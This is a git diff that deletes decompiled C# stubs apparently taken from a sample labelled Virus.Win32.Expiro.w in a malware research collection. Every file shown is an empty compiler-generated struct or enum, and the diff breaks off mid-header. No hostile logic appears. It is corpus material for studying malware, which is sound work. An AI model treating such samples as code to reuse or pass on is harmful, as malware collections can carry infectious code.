a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/X931_restart_t.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/X931_restart_t.cs deleted file mode 100644 index 1ce6c1af..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/X931_restart_t.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: X931_restart_t -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum X931_restart_t -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBD.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBD.cs deleted file mode 100644 index d6fd9e92..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBD.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY00$$CBD -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [DebugInfoInPDB] - [UnsafeValueType] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY00\u0024\u0024CBD - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBG.cs deleted file mode 100644 index 16983c85..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBG.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY00$$CBG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [MiscellaneousBits(65)] - [UnsafeValueType] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 2)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY00\u0024\u0024CBG - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY00Q6MPBXXZ.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY00Q6MPBXXZ.cs deleted file mode 100644 index d720ef2e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY00Q6MPBXXZ.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY00Q6MPBXXZ -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY00Q6MPBXXZ - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY07$$CBG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY07$$CBG.cs deleted file mode 100644 index 7ef9820a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY07$$CBG.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY07$$CBG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [DebugInfoInPDB] - [UnsafeValueType] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY07\u0024\u0024CBG - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY08$$CB_W.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY08$$CB_W.cs deleted file mode 100644 index f19f5be8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY08$$CB_W.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY08$$CB_W -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [DebugInfoInPDB] - [UnsafeValueType] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 18)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY08\u0024\u0024CB_W - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AHXZ.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AHXZ.cs deleted file mode 100644 index 6130cb0b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AHXZ.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0A@P6AHXZ -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0A\u0040P6AHXZ - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AXXZ.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AXXZ.cs deleted file mode 100644 index a8245cde..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AXXZ.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0A@P6AXXZ -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [MiscellaneousBits(65)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0A\u0040P6AXXZ - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAE@G.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAE@G.cs deleted file mode 100644 index 6006fb78..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAE@G.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0BAE@G -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [UnsafeValueType] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 520)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0BAE\u0040G - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAF@G.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAF@G.cs deleted file mode 100644 index 36a9ef14..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAF@G.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0BAF@G -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [NativeCppClass] - [DebugInfoInPDB] - [UnsafeValueType] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 522)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0BAF\u0040G - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BB@K.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BB@K.cs deleted file mode 100644 index 33e8bc96..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BB@K.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0BB@K -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [MiscellaneousBits(65)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 68)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0BB\u0040K - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BC@$$CBG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BC@$$CBG.cs deleted file mode 100644 index a688bc3f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BC@$$CBG.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0BC@$$CBG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [DebugInfoInPDB] - [NativeCppClass] - [UnsafeValueType] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 36)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0BC\u0040\u0024\u0024CBG - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CB@$$CBG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CB@$$CBG.cs deleted file mode 100644 index cb587003..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CB@$$CBG.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0CB@$$CBG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [UnsafeValueType] - [NativeCppClass] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 66)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0CB\u0040\u0024\u0024CBG - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBD.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBD.cs deleted file mode 100644 index 0b9e8da1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBD.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0CE@$$CBD -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [NativeCppClass] - [DebugInfoInPDB] - [UnsafeValueType] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 36)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0CE\u0040\u0024\u0024CBD - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBG.cs deleted file mode 100644 index 17fa8a5b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBG.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0CE@$$CBG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [UnsafeValueType] - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 72)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0CE\u0040\u0024\u0024CBG - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0EE@E.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0EE@E.cs deleted file mode 100644 index 4830297e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0EE@E.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0EE@E -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [DebugInfoInPDB] - [UnsafeValueType] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 68)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0EE\u0040E - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0O@$$CBD.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0O@$$CBD.cs deleted file mode 100644 index ab53dc69..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0O@$$CBD.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0O@$$CBD -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [UnsafeValueType] - [MiscellaneousBits(65)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 14)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0O\u0040\u0024\u0024CBD - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0P@$$CBG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0P@$$CBG.cs deleted file mode 100644 index 503d6c90..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCppImplementationDetails_003E/$ArrayType$$$BY0P@$$CBG.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0P@$$CBG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [UnsafeValueType] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 30)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0P\u0040\u0024\u0024CBG - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/ActivationContext.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/ActivationContext.cs deleted file mode 100644 index 1d2440b3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/ActivationContext.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .ActivationContext -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 12)] - internal struct ActivationContext - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/AtExitLock.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_003CCrtImplementationDetails_003E/AtExitLock.cs deleted file mode 100644 index 4968d01d..00000000 --- 